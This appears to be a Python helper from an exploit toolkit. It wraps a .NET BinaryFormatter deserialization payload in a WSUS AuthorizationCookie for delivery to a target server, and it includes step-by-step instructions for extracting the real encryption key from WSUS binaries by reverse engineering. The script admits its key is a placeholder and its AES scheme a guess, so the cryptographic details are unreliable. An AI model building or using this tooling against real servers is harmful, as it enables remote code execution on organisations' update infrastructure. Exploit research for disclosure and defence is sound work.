#!/usr/bin/env python3
"""
WSUS AuthorizationCookie Encryption Helper
This attempts to reverse-engineer the WSUS encryption mechanism

WARNING: The actual encryption key must be extracted from WSUS binaries.
This implementation uses a placeholder key and may not work on real systems.
"""

import base64
import hashlib
import sys
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_wsus_cookie(data, key_material=None):
    """
    Encrypt data using WSUS AuthorizationCookie encryption
    
    Args:
        data: Payload bytes or file path
        key_material: Optional custom key material (default: placeholder)
    
    Returns:
        Base64-encoded encrypted cookie
    """
    # Read binary payload file
    if isinstance(data, str) and os.path.exists(data):
        print(f"[*] Reading payload from file: {data}")
        with open(data, 'rb') as f:
            payload_bytes = f.read()
    elif isinstance(data, bytes):
        payload_bytes = data
    else:
        payload_bytes = data.encode('utf-8')
    
    print(f"[*] Payload size: {len(payload_bytes)} bytes")
    
    # WSUS encryption key derivation
    # This is likely hardcoded in WSUS binaries
    # Common patterns: machine GUID, hardcoded string, or registry value
    # For PoC, we'll use a placeholder - actual key needs reverse engineering
    
    if key_material is None:
        key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # PLACEHOLDER
        print("[!] WARNING: Using placeholder encryption key!")
        print("[!] You must extract the actual key from WSUS binaries for real exploitation.")
    else:
        if isinstance(key_material, str):
            key_material = key_material.encode('utf-8')
    
    key = hashlib.sha256(key_material).digest()[:16]  # AES-128
    print(f"[*] Using encryption key (first 16 bytes of SHA256)")
    
    # Generate IV
    import secrets
    iv = secrets.token_bytes(16)
    
    # Encrypt using AES-CBC
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(payload_bytes, AES.block_size))
    
    # WSUS likely stores as: IV + EncryptedData, base64 encoded
    combined = iv + encrypted
    encrypted_b64 = base64.b64encode(combined).decode('utf-8')
    
    return encrypted_b64, len(combined)


def find_wsus_encryption_key():
    """
    Provides instructions for finding the actual WSUS encryption key
    """
    instructions = """
    To find the actual WSUS encryption key:
    
    1. Locate WSUS binaries (typically in %ProgramFiles%\\Update Services)
       - Microsoft.UpdateServices.WebServices.dll
       - Or in IIS web application directory
    
    2. Use reverse engineering tools:
       - dnSpy (for .NET assemblies) - Recommended
       - IDA Pro or Ghidra (for native code)
       - ILSpy (alternative .NET decompiler)
    
    3. Search for:
       - EncryptionHelper class
       - DecryptData() method
       - EncryptData() method
       - Look for encryption key constants
    
    4. Alternative methods:
       - Use WinDbg/x64dbg to set breakpoints on encryption functions
       - Use Process Monitor to capture encryption operations
       - Decompile WSUS source and search for hardcoded keys
    
    5. Common key locations:
       - Hardcoded strings in DLL
       - Registry keys (HKLM\\SOFTWARE\\Microsoft\\Update Services)
       - Configuration files
       - Machine-specific derivation (GUID, SID, etc.)
    
    Once found, update encrypt_payload.py with the actual key.
    """
    print(instructions)


def main():
    import argparse
    
    parser = argparse.ArgumentParser(
        description='Encrypt BinaryFormatter payload for WSUS AuthorizationCookie',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument('payload_file', help='Path to BinaryFormatter payload file')
    parser.add_argument('-k', '--key', help='Custom encryption key material (string)')
    parser.add_argument('-o', '--output', help='Output file for encrypted cookie (default: stdout)')
    parser.add_argument('--info', action='store_true', help='Show instructions for finding WSUS encryption key')
    
    args = parser.parse_args()
    
    if args.info:
        find_wsus_encryption_key()
        return
    
    if not os.path.exists(args.payload_file):
        print(f"[!] Error: Payload file '{args.payload_file}' not found")
        sys.exit(1)
    
    try:
        print("=" * 60)
        print("[*] WSUS AuthorizationCookie Encryption")
        print("=" * 60)
        
        encrypted, size = encrypt_wsus_cookie(args.payload_file, args.key)
        
        print(f"\n[+] Encryption complete!")
        print(f"    Encrypted size: {size} bytes")
        print(f"    Base64 length: {len(encrypted)} characters")
        
        if args.output:
            with open(args.output, 'w') as f:
                f.write(encrypted)
            print(f"\n[+] Encrypted cookie saved to: {args.output}")
        else:
            print("\n[+] Encrypted cookie (base64):")
            print("=" * 60)
            print(encrypted)
            print("=" * 60)
            print("\n[*] Use this with: python wsus_exploit.py -t <target> -e <encrypted_cookie>")
        
    except ImportError as e:
        print(f"[!] Error: Missing required library - {e}")
        print("[!] Install dependencies: pip install pycryptodome")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)


if __name__ == "__main__":
    main()